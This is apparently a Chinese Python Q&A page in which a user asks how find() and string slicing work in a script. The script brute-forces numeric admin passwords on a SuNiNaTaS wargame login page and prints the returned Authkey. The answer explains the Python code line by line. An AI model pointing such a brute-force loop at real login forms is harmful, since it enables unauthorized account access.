请求文本查找("") == 1?

2024-09-29 23:25:27 发布

您现在位置:Python中文网/ 问答频道 /正文

我想知道代码的细节。 特别是,为什么req.text.find()-1req.text[index:index+30]。你知道吗

import requests
URL = "http://suninatas.com/challenge/web08/web08.asp"

cookie={
    "ASPSESSIONIDQSAQARDT":"MCEPDMFCFIACLLONLJHDHHAA"
} # 쿠기 값은 자신의 것으로 변경
session1 = requests.Session()

for i in range(10000):
    data1={
        'id':'admin',
        'pw':i
    }

    req = session1.post(URL, cookies=cookie, data=data1)
    if (req.text.find("Password Incorrect!") == -1):
        index = req.text.find("Authkey")
        print("\n\n")
        print(req.text[index:index+30])
        print("\n\n")
        input("Press Any KEY to exit.......")
        exit(0)

    else:
        print("Wrong Num :" + str(i))

Tags: 代码textimporturlindexcookieexitfind
1条回答
网友
1楼 · 发布于 2024-09-29 23:25:27

好吧,让我们看看这个。你知道吗

req = session1.post(URL, cookies=cookie, data=data1)  # Makes a POST request. req now holds the response body
if (req.text.find("Password Incorrect!") == -1):  # Look for the text "Password Incorrect!" in the text of the response body

因此,在python中,有两种方法可以找到字符串中特定子字符串的索引:str.index(substr)str.find(substr)。无论哪种情况,如果substr出现在str中,那么这些函数返回str中的索引,在该索引处substr开始。它们之间的区别在于,如果substr没有出现在str中,那么index()会引发IndexError,而find()会返回-1。你知道吗

因此,当我们检查if req.text.find("Password Incorrect!") == -1时,我们检查子串"Password Incorrect!"是否没有出现在req.text。你知道吗

if (req.text.find("Password Incorrect!") == -1):  # continuing on...
    index = req.text.find("Authkey")              # Find the index of the string "AuthKey" in req.text
    print("\n\n")
    print(req.text[index:index+30])               # print the contents of `req.text` from that index
    print("\n\n")                                 #   through the next 30 characters
    input("Press Any KEY to exit.......")         # and finally, exit
    exit(0)
else:
    print("Wrong Num :" + str(i))                 # If we DO find "Password Incorrect!" in req.text,
                                                  #   then we just say "Wrong Number" and continue on with the loop.

相关问题 更多 >

    热门问题